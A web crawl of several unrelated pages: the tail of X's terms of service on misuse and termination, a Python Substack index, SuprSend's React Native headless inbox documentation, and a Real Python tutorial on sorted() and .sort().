instructions that we provide. You agree that you will not work around any technical limitations in the software provided to you as part of the Services, or reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits. You may not do any of the following while accessing or using the Services: (i) access, tamper with, or use non-public areas of the Services, our computer systems, or the technical delivery systems of our providers; (ii) probe, scan, or test the vulnerability of any system or network or breach or circumvent any security or authentication measures; (iii) access or search or attempt to access or search the Services by any means (automated or otherwise) other than through our currently available, published interfaces that are provided by us (and only pursuant to the applicable terms and conditions), unless you have been specifically allowed to do so in a separate agreement with us (NOTE: crawling or scraping the Services in any form, for any purpose without our prior written consent is expressly prohibited); (iv) attempt to circumvent, manipulate, or disable systems and Services, including through "jailbreaking", “prompt engineering or injection", or other methods intended to override or manipulate safety, security or other platform controls; (v) forge any TCP/IP packet header or any part of the header information in any email or posting; (vi) in any way use the Services to send altered, deceptive or false source-identifying information; (vii) engage in any conduct that violates our Platform Manipulation and Spam Policy or any other Rules and Policies , including our Misuse of Reporting Features Policy ; or (viii) interfere with, or disrupt, (or attempt to do so), the access of any user, host or network, including, without limitation, sending a virus, overloading, flooding, spamming, mail-bombing the Services, or by scripting the creation of Content in such a manner as to interfere with or create an undue burden on the Services. It is also a violation of these Terms to facilitate or assist others in violating these Terms, including by distributing products or services that enable or encourage violation of these Terms. Ending These Terms You may end your legal agreement with us at any time by deactivating your accounts and discontinuing your use of the Services. See https://help.x.com/managing-your-account/how-to-deactivate-x-account for instructions on how to deactivate your account and the Privacy Policy for more information on what happens to your information. We may suspend or terminate your account or cease providing you with all or part of the Services at any time if we reasonably believe: (i) you have violated these Terms or our Rules and Policies , (ii) you create risk or possible legal exposure for us; (iii) your account should be removed due to unlawful conduct; (iv) your account should be removed due to prolonged inactivity; or (v) our provision of the Services to you is no longer commercially viable. We will make reasonable efforts to notify you by the email address associated with your account or the next time you attempt to access your account, depending on the circumstances. To the extent permitted by law, we may also terminate your account or cease providing you with all or part of the Services for any other reason or no reason at our convenience. In all such cases, the Terms shall terminate, including, without limitation, your license to use the Services, except that the following sections shall continue to apply: 2, 3, 5, 6, and the misuse provisions of Section 4 (“Misuse of the Services”). If you believe your account was terminated in error you can file an appeal following the steps found in our Help Center ( https://help.x.com/forms/account-access/appeals ). For the avoidance of doubt, these Terms survive the deactivation or termination of your account. 5. Disclaimers and Limitations of Liability The Services are Available "AS-IS" Your access to and use of the Services or any Content are at your own risk. You understand and agree that the Services are provided to you on an “AS IS” and “AS AVAILABLE” basis. The “X Entities” refers to X Corp., its parents, affiliates, related companies, officers, directors, employees, agents, representatives, partners, and licensors. Without limiting the foregoing, to the maximum extent permitted under applicable law, THE X ENTITIES DISCLAIM ALL WARRANTIES AND CONDITIONS, WHETHER EXPRESS OR IMPLIED, OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT. The X Entities make no warranty or representation and disclaim all responsibility and liability for: (i) the completeness, accuracy, availability, timeliness, security or reliability of the Services or any Content; (ii) any harm to your computer system, loss of data, or other harm that results from your access to or use of the Services or any Content; (iii) the deletion of, or the failure to store or to transmit, any Content and other communications maintained by the Services; and (iv) whether the Services will meet your requirements or be available on an uninterrupted, secure, or error-free basis. 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https://www.thepythoncodingstack.com | The Python Coding Stack | Stephen Gruppetta | Substack Subscribe Sign in Home The Club The Python Coding Place Selected Series Archive About Need a Constant in Python? Enums Can Come in Useful Python doesn’t have constants. But it has enums 19 hrs ago • Stephen Gruppetta 4 1 1 Mulled Wine, Mince Pies, and More Python 2025 in review here on The Python Coding Stack Dec 31, 2025 • Stephen Gruppetta 7 1 My Life • The Autobiography of a Python Object A short post showing Python from the eyes of object 0x101dd38c0 Nov 30, 2025 • Stephen Gruppetta 12 3 Most Popular View all Demystifying Decorators • They Don't Need to be Cryptic Apr 19, 2025 • Stephen Gruppetta 30 3 1 If Feynman Were Teaching Today… A Simplified Python Simulation of Diffusion Jun 22, 2024 • Stephen Gruppetta 20 2 2 `bytes`: The Lesser-Known Python Built-In Sequence • And Understanding UTF-8 Encoding Jun 1, 2024 • Stephen Gruppetta 19 5 5 Are Python Dictionaries Ordered Data Structures? Jun 11, 2025 • Stephen Gruppetta 15 6 1 Simone's Creative Cooking Club • If You Haven't Got a Clue What "Pass by Value" or "Pass by Reference" Mean, Read On… Aug 20, 2024 • Stephen Gruppetta 11 3 1 A Python Christmas Dec 22, 2024 • Stephen Gruppetta 9 2 4 Latest Top Discussions And Now You Know Your ABC How helping at my track club's championships led to Python Abstract Base Classes Nov 1, 2025 • Stephen Gruppetta 8 2 Creating a Singleton Class in Python And Why You (Probably) Don’t Need It Creating a singleton class is a great exercise to understand object creation in Python, but you’re unlikely to need it in your code. Oct 14, 2025 • Stephen Gruppetta 8 The Networking Event (#4 in The itertools Series • `combinations()` and `permutations()`) Yteria still can't utter or write the word "for", but she offered to write some code to help organise a networking event Sep 21, 2025 • Stephen Gruppetta 8 1 When You No Longer Need That Object • Dealing With Garbage in Python Let's explore reference counting and cyclic garbage collection in Python Aug 29, 2025 • Stephen Gruppetta 10 1 Flashy, Fancy Shortcuts Aren't Always Suitable [Python Shorts] A Python Shorts post about a shortcut that's often overused Aug 3, 2025 • Stephen Gruppetta 13 1 1 Do You Really Know How `or` And `and` Work in Python? Let's explore the Python expression `5 or 0` Jul 18, 2025 • Stephen Gruppetta 16 2 1 Python Backstage • Disassembling Python Code Using the `dis` Module Let's look behind the scenes to see what happens when you run your Python (CPython) code Jul 8, 2025 • Stephen Gruppetta 11 2 See all The Python Coding Stack I write the articles I wish I had when I was learning Python programming I learn through narratives, stories. And I communicate in the same way, with a friendly and relaxed tone, clear and accessible Subscribe More Resources The Python Coding Place The place for all my Python resources Breaking the Rules Bringing storytelling to technical writing My Personal Site Everything I do, all in one place Real Python Plenty more Python resources The Python Coding Stack Subscribe About Archive Recommendations Sitemap © 2026 Stephen Gruppetta · Privacy ∙ Terms ∙ Collection notice Start your Substack Get the app Substack is the home for great culture This site requires JavaScript to run correctly. Please turn on JavaScript or unblock scripts | 2026-01-13T08:49:27 |
https://docs.suprsend.com/docs/inbox-react-native#adding-suprsend-inbox-component | React Native (Headless) - SuprSend, Notification infrastructure for Product teams Skip to main content SuprSend, Notification infrastructure for Product teams home page Search... ⌘ K Community Trust Center Platform Status Postman Collection GETTING STARTED What is SuprSend? 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Navigation React Native React Native (Headless) Documentation API Reference Management API CLI Reference Developer Resources Changelog Documentation API Reference Management API CLI Reference Developer Resources Changelog React Native React Native (Headless) OpenAI Open in ChatGPT Integrate SuprSend inbox in React Native using the headless library and hooks. OpenAI Open in ChatGPT The Headless Inbox library provides hooks that can be integrated into React Native components for building inbox, and toast functionality in your applications. Installation npm yarn Copy Ask AI npm install @suprsend/react-headless Initialization Enclose your app in SuprSendProvider like below and pass the workspace key , distinct_id , and subscriber_id . App.js Copy Ask AI import { SuprSendProvider } from "@suprsend/react-headless" ; function App () { return ( < SuprSendProvider workspaceKey = "<workspace_key>" subscriberId = "<subscriber_id>" distinctId = "<distinct_id>" > < YourAppCode /> </ SuprSendProvider > ); } SuprSend hooks can only be used inside of SuprSendProvider. Adding SuprSend inbox component 1) useBell hook This hook provides unSeenCount, markAllSeen which is related to the Bell icon in the inbox unSeenCount : Use this variable to show the unseen notification count anywhere in your application. markAllSeen : Used to mark seen for all notifications. Call this method on clicking the bell icon so that it will reset the bell count to 0. Bell.js Copy Ask AI import { useBell } from "@suprsend/react-headless" ; function Bell () { const { unSeenCount , markAllSeen } = useBell (); return < p onClick = { () => markAllSeen () } > { unSeenCount } </ p > ; } 2) useNotifications hook This hook provides a notifications list, unSeenCount, markClicked, markAllSeen. notifications : List of all notifications. This array can be looped and notifications can be displayed. unSeenCount : Use this variable to show the unseen notification count anywhere in your application. markClicked : Method used to mark a notification as clicked. Pass notification id which is clicked as the first param. markAllRead : This method is used to mark all individual notifications as seen. Add a button anywhere in your notification tray as Mark all as read and on clicking of that call this method. mark all read sample Notifications.js Copy Ask AI import { useNotifications } from "@suprsend/react-headless" ; function Notifications () { const { notifications , markAllRead } = useNotifications (); return ( < div > < h3 > Notifications </ h3 > < p onClick = { () => { markAllRead ()} } > Mark all read </ p > { notifications . map (( notification ) => { return ( < NotificationItem notification = { notification } key = { notification . n_id } markClicked = { markClicked } /> ); }) } </ div > ); } function NotificationItem ({ notification , markClicked }) { const message = notification . message ; const created = new Date ( notification . created_on ). toDateString (); return ( < div onClick = { () => { markClicked ( notification . n_id ); } } style = { { backgroundColor: "lightgray" , margin: 2 , borderRadius: 5 , padding: 4 , cursor: "pointer" , } } > < div style = { { display: "flex" } } > < p > { message . header } </ p > { ! notification . seen_on && < p style = { { color: "green" } } > * </ p > } </ div > < div > < p > { message . text } </ p > </ div > < div > < p style = { { fontSize: "12px" } } > { created } </ p > </ div > </ div > ); } Notification object structure: Notification.js Copy Ask AI interface IRemoteNotification { n_id : string n_category : string created_on : number seen_on ?: number message : IRemoteNotificationMessage } interface IRemoteNotificationMessage { header : string schema : string text : string url : string extra_data ?: string actions ?: { url : string ; name : string }[] avatar ?: { avatar_url ?: string ; action_url ?: string } subtext ?: { text ?: string ; action_url ?: string } } 3) useEvent hook This hook is an event emitter when and takes arguments event type and callback function when the event happens. Must be called anywhere inside SuprSendProvider Handled Events: new_notification: Called when the new notification occurs can be used to show toast in your application. Sample.js Copy Ask AI import { useEvent } from "@suprsend/react-headless" ; function Home () { useEvent ( "new_notification" , ( newNotification ) => { console . log ( "new notification data: " , newNotification ); alert ( "You have new notifications" ); }); return < p > Home </ p > ; } Example implementation Check the example implementation. Was this page helpful? Yes No Suggest edits Raise issue Previous HMAC Authentication Steps to safely authenticate users and generate subscriber-id in headless Inbox implementation. Next ⌘ I x github linkedin youtube Powered by On this page Installation Initialization Adding SuprSend inbox component 1) useBell hook 2) useNotifications hook 3) useEvent hook Example implementation | 2026-01-13T08:49:27 |
https://realpython.com/python-sort/ | How to Use sorted() and .sort() in Python – Real Python Start Here Learn Python Python Tutorials → In-depth articles and video courses Learning Paths → Guided study plans for accelerated learning Quizzes & Exercises → Check your learning progress Browse Topics → Focus on a specific area or skill level Community Chat → Learn with other Pythonistas Office Hours → Live Q&A calls with Python experts Podcast → Hear what’s new in the world of Python Books → Round out your knowledge and learn offline Reference → Concise definitions for common Python terms Code Mentor → Beta Personalized code assistance & learning tools Unlock All Content → More Learner Stories Python Newsletter Python Job Board Meet the Team Become a Tutorial Writer Become a Video Instructor Search / Join Sign‑In — FREE Email Series — 🐍 Python Tricks 💌 Get Python Tricks » 🔒 No spam. Unsubscribe any time. Browse Topics Guided Learning Paths Basics Intermediate Advanced ai algorithms api best-practices career community databases data-science data-structures data-viz devops django docker editors flask front-end gamedev gui machine-learning news numpy projects python stdlib testing tools web-dev web-scraping Table of Contents Ordering Values With sorted() Sorting Numbers Sorting Strings Exploring Limitations and Gotchas With Python Sorting Handling Lists With Non-Comparable Data Types Considering Length When Sorting Similar Strings Customizing sorted() With Keyword Arguments Sorting Iterables in Reverse Order Sorting Strings by Length Ignoring the Case When Sorting Strings Avoiding Pitfalls When Using sorted() With a key Argument Combining sorted() With lambda Functions Ordering Values With .sort() Understanding the Differences Between .sort() and sorted() Using Keywords Arguments With .sort() and sorted() Deciding When to Use sorted() vs .sort() Conclusion Frequently Asked Questions Mark as Completed Share Recommended Video Course Sorting Data With Python How to Use sorted() and .sort() in Python by David Fundakowski Publication date Feb 24, 2025 Reading time estimate 21m basics python Mark as Completed Share Table of Contents Ordering Values With sorted() Sorting Numbers Sorting Strings Exploring Limitations and Gotchas With Python Sorting Handling Lists With Non-Comparable Data Types Considering Length When Sorting Similar Strings Customizing sorted() With Keyword Arguments Sorting Iterables in Reverse Order Sorting Strings by Length Ignoring the Case When Sorting Strings Avoiding Pitfalls When Using sorted() With a key Argument Combining sorted() With lambda Functions Ordering Values With .sort() Understanding the Differences Between .sort() and sorted() Using Keywords Arguments With .sort() and sorted() Deciding When to Use sorted() vs .sort() Conclusion Frequently Asked Questions Remove ads Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Sorting Data With Python Sorting in Python is a fundamental task that you can accomplish using sorted() and .sort() . The sorted() function returns a new sorted list from the elements of any iterable, without modifying the original iterable. On the other hand, the .sort() method modifies a list in place and doesn’t return a value. Both methods support customization through optional keyword arguments like key and reverse . By the end of this tutorial, you’ll understand that: You can sort any iterable with the sorted() function . The sorted() function returns a new sorted list . The .sort() method sorts the list in place . You sort items in descending order by setting the reverse argument to True . The key argument accepts a function to customize the sort order. In this tutorial, you’ll learn how to sort various types of data in different data structures , customize the order, and work with two different ways of sorting in Python. You’ll need a basic understanding of lists and tuples as well as sets . These are the data structures you’ll be using to perform some basic operations. Get Your Cheat Sheet: Click here to download a free cheat sheet that summarizes how to use sorted() and .sort() in Python. Take the Quiz: Test your knowledge with our interactive “How to Use sorted() and .sort() in Python” quiz. You’ll receive a score upon completion to help you track your learning progress: Interactive Quiz How to Use sorted() and .sort() in Python In this quiz, you'll test your understanding of sorting in Python using sorted() and .sort(). You'll revisit how to sort various types of data in different data structures, customize the order, and work with two different ways of sorting in Python. Ordering Values With sorted() In Python, you can sort iterables with the sorted() built-in function. To get started, you’ll work with iterables that contain only one data type. Remove ads Sorting Numbers You can use sorted() to sort a list in Python. In this example, a list of integers is defined, and then sorted() is called with the numbers variable as the argument: Python >>> numbers = [ 6 , 9 , 3 , 1 ] >>> sorted ( numbers ) [1, 3, 6, 9] >>> numbers [6, 9, 3, 1] The output from this code is a new, sorted list. When the original variable is printed, the initial values are unchanged. This example shows four important characteristics of sorted() : You don’t have to define the sorted() function. It’s a built-in function that’s available in any standard installation of Python. You’re ordering the values in numbers from smallest to largest when you call sorted(numbers) . When you pass no additional arguments or parameters, sorted() orders the values in numbers in ascending order. You don’t change the original numbers variable because sorted() provides sorted output and doesn’t update the original value in place. You get an ordered list as a return value when you call sorted() . These points mean that sorted() can be used on a list, and the output can immediately be assigned to a variable: Python >>> numbers = [ 6 , 9 , 3 , 1 ] >>> numbers_sorted = sorted ( numbers ) >>> numbers_sorted [1, 3, 6, 9] >>> numbers [6, 9, 3, 1] In this example, a new variable called numbers_sorted now stores the output of the sorted() function. You can confirm all of these observations by calling help() on sorted() : Python >>> help ( sorted ) Help on built-in function sorted in module builtins: sorted(iterable, /, *, key=None, reverse=False) Return a new list containing all items from the iterable in ascending order. A custom key function can be supplied to customize the sort order, and the reverse flag can be set to request the result in descending order. You’ll cover the optional arguments key and reverse later in the tutorial. The first parameter of sorted() is an iterable . That means that you can use sorted() on tuples and sets very similarly: Python >>> numbers_tuple = ( 6 , 9 , 3 , 1 ) >>> sorted ( numbers_tuple ) [1, 3, 6, 9] >>> numbers_set = { 5 , 10 , 1 , 0 } >>> sorted ( numbers_set ) [0, 1, 5, 10] Notice how even though the input was a set and a tuple, the output is a list because sorted() returns a new list by definition. The returned object can be cast to a new type if it needs to match the input type. Be careful if attempting to cast the resulting list back to a set, as a set by definition is unordered: Python >>> numbers_tuple = ( 6 , 9 , 3 , 1 ) >>> numbers_set = { 5 , 10 , 1 , 0 } >>> numbers_tuple_sorted = sorted ( numbers_tuple ) >>> numbers_set_sorted = sorted ( numbers_set ) >>> numbers_tuple_sorted [1, 3, 6, 9] >>> numbers_set_sorted [0, 1, 5, 10] >>> tuple ( numbers_tuple_sorted ) (1, 3, 6, 9) >>> set ( numbers_set_sorted ) {0, 1, 10, 5} When you cast the numbers_set_sorted value to a set , it’s unordered, as expected. If you’re curious about how sets work in Python, then you can check out the tutorial Sets in Python . Sorting Strings Just like lists, tuples, and sets, strings are also iterables. This means you can sort str types as well. The example below shows how sorted() iterates through each character in the value passed to it and orders them in the output: Python >>> string_number_value = "34521" >>> sorted ( string_number_value ) ['1', '2', '3', '4', '5'] >>> string_value = "I like to sort" >>> sorted ( string_value ) [' ', ' ', ' ', 'I', 'e', 'i', 'k', 'l', 'o', 'o', 'r', 's', 't', 't'] Just like before, you can use sorted() to iterate through each element of the iterable you pass in. In a string, each element means each character, including spaces. Note: Python sorts strings lexicographically by comparing Unicode code points of the individual characters from left to right. That’s why the uppercase I appears before the lowercase e . To learn more about some of Python’s quirks when ordering strings, check out the tutorial How to Sort Unicode Strings Alphabetically in Python . If you want to sort a sentence by words, then you can use Python’s .split() method : Python >>> string_value = "I like to sort" >>> sorted_string = sorted ( string_value . split ()) >>> sorted_string ['I', 'like', 'sort', 'to'] In this example, you use .split() to convert the original sentence into a list of words. Afterward, you sort the list instead of individual characters. Remove ads Exploring Limitations and Gotchas With Python Sorting When sorting objects in Python, you may run into some unexpected behavior or even errors. In this section, you’ll explore some limitations and gotchas to look out for when using Python’s sorted() function. Handling Lists With Non-Comparable Data Types There are data types that can’t be compared to each other using sorted() because they’re too different. Python will return an error if you attempt to use sorted() on a list containing non-comparable data. In the example below, you have None and the integer zero ( 0 ) in the same list. Python doesn’t know how to sort these two types because of their incompatibility: Python >>> mixed_types = [ None , 0 ] >>> sorted ( mixed_types ) Traceback (most recent call last): ... TypeError : '<' not supported between instances of 'int' and 'NoneType' This error shows why Python can’t sort the values given to it. It’s trying to put the values in order by using the less than operator ( < ) to determine which value is lower in sorting order. You can replicate this error by manually comparing the two values: Python >>> None < 0 Traceback (most recent call last): ... TypeError : '<' not supported between instances of 'NoneType' and 'int' The same TypeError is thrown when you try to compare two non-comparable values without using sorted() . If the values in the list can be compared without raising a TypeError , then the list can be sorted. This prevents sorting iterables with intrinsically unorderable values and producing output that may not make sense. Python can implicitly convert a value to another type. Even though elements in a list look different, Python may able to interpret them as integers and compare them to each other using sorted() : Python >>> sorted ([ 1 , False , True , 0 ]) [False, 0, 1, True] Python interprets the Boolean False as 0 and True as 1 . You can verify that Python considers the integers 0 and 1 equal to False and True by comparing them manually: Python >>> 0 == False True >>> 1 == True True If you have a look at the ordered list from before, you can spot another important aspect of sorting called sort stability . In Python, when you sort equal values, they’ll retain their original order in the output. Since the integer 1 comes before True in the unsorted list, 1 will appear before True in the sorted list. Considering Length When Sorting Similar Strings In the example above, you were sorting either single characters or different words. When dealing with a list that contains similar strings, Python sorts shorter strings first: Python >>> sorted ([ "aaa" , "a" ]) ['a', 'aaa'] Strings that contain identical values will end up being sorted shortest to longest because the shorter strings lack elements to compare against the longer ones. This doesn’t mean that shorter strings always come first: Python >>> sorted ([ "aaa" , "ab" , "a" ]) ['a', 'aaa', 'ab'] If the first letter is the same, then sorted() will use the second character to determine order, and so on. In the example above, ab is shorter than aaa . But while traversing through the string to determine how to sort ab compared to aaa , the second letter of ab is considered larger than the second letter of aaa . That’s because the letter b has a larger Unicode than the letter a . You can leverage Python’s ord() function to investigate a character’s Unicode: Python >>> ord ( "b" ) 98 >>> ord ( "a" ) 97 To learn more about some of Python’s quirks when ordering strings, check out the tutorial How to Sort Unicode Strings Alphabetically in Python . Remove ads Customizing sorted() With Keyword Arguments When using Python’s sorted() function, you can optionally pass in values for the keywords reverse and key . This enables you to override the default behavior of sorted() and customize the order of the output. Sorting Iterables in Reverse Order As the name suggests, the keyword argument reverse let’s you reverse the order of an iterable. The reverse keyword accepts a Boolean value: Python >>> numbers = [ 10 , 3 , 7 ] >>> sorted ( numbers ) [3, 7, 10] >>> sorted ( numbers , reverse = True ) [10, 7, 3] The default value of reverse is False , which results in the ascending order of items. If you set reverse to True , then the sorting will be in descending order. Sorting Strings by Length One of the most powerful components of sorted() is the keyword argument called key . This argument expects a function to be passed to it, and that function will be used on each value in the list being sorted to determine the resulting order. To demonstrate a basic example, let’s assume the requirement for ordering a specific list is the length of the strings in the list, from shortest to longest. You can use the len() function to return the length of a string, along with the key argument: Python >>> word = "paper" >>> len ( word ) 5 >>> words = [ "banana" , "pie" , "Washington" , "book" ] >>> sorted ( words , key = len ) ['pie', 'book', 'banana', 'Washington'] The resulting order is a list with a string order of shortest to longest. The length of each element in the list is determined by len() and then returned in ascending order. Ignoring the Case When Sorting Strings By default, sorting in Python is case sensitive . This means that words starting with an uppercase Z will be sorted before those beginning with lowercase letters because of their Unicode values: Python >>> sorted ([ "ape" , "Zebra" , "elephant" ]) ['Zebra', 'ape', 'elephant'] You can pass in str.lower as the value of key to sort strings independently of a character’s case: Python >>> sorted ([ "ape" , "Zebra" , "elephant" ], key = str . lower ) ['ape', 'elephant', 'Zebra'] During sorting, the function passed to key is called on each element to determine sort order, but the original values remain in the output. Avoiding Pitfalls When Using sorted() With a key Argument There are two main limitations to look out for when you’re using functions with the key argument. First, the number of required arguments in the function passed to key must be exactly one: Python >>> def add ( x , y ): ... return x + y ... >>> sorted ([ 1 , 2 , 3 ], key = add ) Traceback (most recent call last): ... TypeError : add() missing 1 required positional argument: 'y' The example above shows the definition of an addition function that takes two arguments. When that function is used in key on a list of numbers, it fails because it’s missing a second argument. Each time add() is called during the sort, it’s only receiving one element from the list at a time. The second limitation of key is that the function used with key must be able to handle all the values in the iterable. Here, you have a list of numbers represented as strings to be used in sorted() , and key is going to attempt to convert them to numbers using int : Python >>> values_to_cast = [ "11" , "3" , "2" ] >>> sorted ( values_to_cast , key = int ) ['2', '3', '11'] However, if a value in the iterable can’t be cast to an integer, then using int as the value for key will fail: Python >>> values_to_cast = [ "11" , "3" , "2" , "A" ] >>> sorted ( values_to_cast , key = int ) Traceback (most recent call last): ... ValueError : invalid literal for int() with base 10: 'A' As long as a string contains a numeric value, Python can convert the string to an integer. Since A isn’t a numeric value, you receive a ValueError when calling sorted() with key=int . Remove ads Combining sorted() With lambda Functions The key functionality is extremely powerful because it allows you to manipulate the output order using almost any function, whether built-in or user-defined. If the ordering requirement is to order an iterable by each string spelled backwards, then you could define a function that reverses a word. In the example below, you define a function named reverse_word() that reverses the string passed to it. Then, you use reverse_word as the value of key when calling sorted() : Python >>> def reverse_word ( word ): ... return word [:: - 1 ] ... >>> words = [ "cookie" , "banana" , "donut" , "pizza" ] >>> sorted ( words , key = reverse_word ) ['banana', 'pizza', 'cookie', 'donut'] The word[::-1] slice syntax reverses a string. Each element will have reverse_word() applied to it, and the sorting order will be based on the characters in the reversed version of each word. If two words have the same final letter, the next letter is compared, and so on. As a result, the elements in words are sorted based on their ending letters, which is why "pizza" comes before "cookie" but after "banana" . Instead of writing a standalone function, you can shorten the code and leverage the lambda keyword. With lambda , you can create an anonymous function , commonly refered to as a lambda function . By using lambda , you can define a function inline and use it directly as the value of key . Instead of defining and calling reverse_word() , you can accomplish the same result with fewer lines of code: Python >>> words = [ "cookie" , "banana" , "donut" , "pizza" ] >>> sorted ( words , key = lambda word : word [:: - 1 ]) ['banana', 'pizza', 'cookie', 'donut'] In the example above, the key is defined as a lambda . The lambda function takes one argument named word . Then, word[::-1] is called on each element and reverses the word. That reversed output is then used for sorting, but the original words are still returned. Ordering Values With .sort() So far, you’ve learned about Python’s sorted() function. However, you may have come across a method with a similar name—the .sort() method: Python >>> help ( list . sort ) Help on method_descriptor: sort(self, /, *, key=None, reverse=False) unbound builtins.list method Sort the list in ascending order and return None. The sort is in-place (i.e. the list itself is modified) and stable (i.e. the order of two equal elements is maintained). If a key function is given, apply it once to each list item and sort them, ascending or descending, according to their function values. The reverse flag can be set to sort in descending order. At first glance, the description of .sort() looks similar to the output of help(sorted) , which you explored earlier. Before taking a look at the similarities between .sort() and sorted() , it’s important to first understand their differences. Understanding the Differences Between .sort() and sorted() The .sort() method accomplishes more or less the same thing as the sorted() function. But there are four critical differences between .sort() and sorted() : .sort() is a method of the list class. .sort() can only be used with lists. .sort() returns None . .sort() modifies the order of elements in place. As a method, .sort() works with the list instance itself. In other words, you don’t explicitly pass in an iterable as an argument. Have a look at the impacts of these differences in code: Python >>> tuple_val = ( 5 , 1 , 3 , 5 ) >>> tuple_val . sort () Traceback (most recent call last): ... AttributeError : 'tuple' object has no attribute 'sort' >>> values_to_sort = list ( tuple_val ) >>> returned_from_sort = values_to_sort . sort () >>> print ( returned_from_sort ) None >>> print ( values_to_sort ) [1, 3, 5, 5] When you try calling .sort() with a tuple, you get an AttributeError because .sort() only exists for lists. Then, there are some other pretty dramatic differences in how .sort() operates compared to sorted() in this code example: .sort() returns None , so the assignment to returned_from_sort is None and not an ordered list. Calling .sort() changes the values_to_sort list in place, and the original order is not maintained in any way. These differences in behavior make .sort() and sorted() absolutely not interchangeable in code, and they can produce wildly unexpected outcomes if one is used in the wrong way. Remove ads Using Keywords Arguments With .sort() and sorted() The .sort() method has the same key and reverse optional keyword arguments that produce the same robust functionality as sorted() . Revisit some examples from before, this time using .sort() instead of sorted() : Python >>> numbers = [ 10 , 3 , 7 ] [3, 7, 10] >>> numbers . sort ( reverse = True ) >>> numbers [10, 7, 3] Just like when you used sorted() , if you set reverse to True when calling .sort() on a list, then the sorting will be in descending order. When you pass in str.lower as the value of key , you can sort strings independently of a character’s case: Python >>> animals = [ "ape" , "Zebra" , "elephant" ] >>> animals . sort ( key = str . lower ) >>> animals ['ape', 'elephant', 'Zebra'] During sorting, the function passed to key is being called on each element to determine the sort order. If you want to practice using .sort() , then try refactoring the sorted() examples from earlier sections with .sort() . When doing so, keep in mind that .sort() only works with lists. Deciding When to Use sorted() vs .sort() If you’re sorting an iterable that isn’t a list, then you must use sorted() . But if you’re working with a list, then you can use either sorted() or .sort() . Generally, if you keep the similarities and differences in mind, then you can use either sorted() or .sort() . However, there can be situations where it’s important to choose the right tool for the task at hand. Let’s say there’s a 5K race coming up and you need to capture and sort the race data. The data that needs to be captured is the runner’s bib number and the number of seconds it took to finish the race. To keep things tidy, you decide to use a named tuple : Python >>> from collections import namedtuple >>> Runner = namedtuple ( "Runner" , "bib_number duration" ) As the runners cross the finish line, each Runner will be added to a list called runners . In 5K races, not all runners start at the same time, so the first person to cross the finish line might not actually be the fastest person: Python >>> runners = [] >>> runners . append ( Runner ( "2528567" , 1500 )) >>> runners . append ( Runner ( "7575234" , 1420 )) >>> runners . append ( Runner ( "2666228" , 1600 )) >>> runners . append ( Runner ( "2425201" , 1490 )) >>> runners . append ( Runner ( "1235277" , 1620 )) >>> # Thousands and Thousands of entries later... >>> runners . append ( Runner ( "2526674" , 1906 )) Each time a runner crosses the finish line, you add their bib number and total duration in seconds to the runners list. The top five fastest participants are the winners that get prizes, and the remaining runners will be sorted by fastest time. There are no requirements for multiple types of sorting by various attributes. The list is a reasonable size, and there’s no mention of storing the list somewhere. In other words, you need to sort runners by duration and grab the five participants with the lowest duration: Python >>> runners . sort ( key = lambda runner : runner . duration ) >>> top_five_runners = runners [: 5 ] You use a lambda in the key argument to get the duration attribute from each runner and sort runners in place using .sort() . After runners is sorted, you store the first five elements in top_five_runners . Mission accomplished—or so you think! The race director now informs you that every forty-second runner to cross the finish line will receive a free gym bag. That’s a problem! By using .sort() , you changed runners irreversibly. There’s no way to recover the original list of runners in the order they finished and find every forty-second person. In hindsight, you should’ve sorted the runners with sorted() and used the same lambda : Python >>> runners_by_duration = sorted ( runners , key = lambda runner : runner . duration ) >>> top_five_runners = runners_by_duration [: 5 ] By using sorted() , you can keep the original list of runners intact without overwriting it. This means that you can now find every forty-second person that crosses the finish line: Python >>> gym_bag_winners = runners [:: 42 ] You create the gym_bag_winners list by leveraging the slice syntax on runners , which still contains the original order of runners who cross the finish line. If you’re working with important data and there’s even a remote possibility that you might need to recover the original order, then using .sort() is not the best option. However, if the data is a copy, unimportant information, or data that can be easily re-created, then .sort() can be a fine option. Remove ads Conclusion The .sort() method and sorted() function can provide exactly the sort order you need if you use them properly with both the reverse and key optional keyword arguments. Both have different characteristics when it comes to output and in-place modifications, so make sure you think through any application functionality or program requirements before choosing your approach. Get Your Cheat Sheet: Click here to download a free cheat sheet that summarizes how to use sorted() and .sort() in Python. Frequently Asked Questions Now that you have some experience with sorting in Python, you can use the questions and answers below to check your understanding and recap what you’ve learned. These FAQs are related to the most important concepts you’ve covered in this tutorial. Click the Show/Hide toggle beside each question to reveal the answer. How do you sort a list in Python? Show/Hide You can sort a list in Python using either sorted() or .sort() . For example, calling sorted(words) or words.sort() . What is the difference between .sort() and sorted() ? Show/Hide The .sort() method works only with lists, while the sorted() function can be used with any iterable. The .sort() method sorts a list in place and returns None , whereas sorted() creates a new sorted list and doesn’t alter the original data. How can you sort numbers in descending order? Show/Hide You can sort numbers in descending order by passing the reverse=True argument to either sorted() or .sort() . This argument will reverse the order, showing the larger numbers first. What does the key argument do when sorting in Python? Show/Hide The key argument allows you to specify a function to be called on each list element prior to making comparisons, enabling customized sorting based on specific criteria. Can you sort a list that contains different data types? Show/Hide You can’t sort a list with non-comparable data types directly, as Python will raise a TypeError . All elements must be comparable, or you need a custom key function to handle the comparison. Take the Quiz: Test your knowledge with our interactive “How to Use sorted() and .sort() in Python” quiz. You’ll receive a score upon completion to help you track your learning progress: Interactive Quiz How to Use sorted() and .sort() in Python In this quiz, you'll test your understanding of sorting in Python using sorted() and .sort(). You'll revisit how to sort various types of data in different data structures, customize the order, and work with two different ways of sorting in Python. Mark as Completed Share Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Sorting Data With Python 🐍 Python Tricks 💌 Get a short & sweet Python Trick delivered to your inbox every couple of days. No spam ever. Unsubscribe any time. Curated by the Real Python team. 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https://realpython.com/ref/glossary/method/ | method | Python Glossary – Real Python Start Here Learn Python Python Tutorials → In-depth articles and video courses Learning Paths → Guided study plans for accelerated learning Quizzes & Exercises → Check your learning progress Browse Topics → Focus on a specific area or skill level Community Chat → Learn with other Pythonistas Office Hours → Live Q&A calls with Python experts Podcast → Hear what’s new in the world of Python Books → Round out your knowledge and learn offline Reference → Concise definitions for common Python terms Code Mentor → Beta Personalized code assistance & learning tools Unlock All Content → More Learner Stories Python Newsletter Python Job Board Meet the Team Become a Tutorial Writer Become a Video Instructor Search / Join Sign‑In Table of Contents Example Related Resources ( clear filter ) Clear filter Python 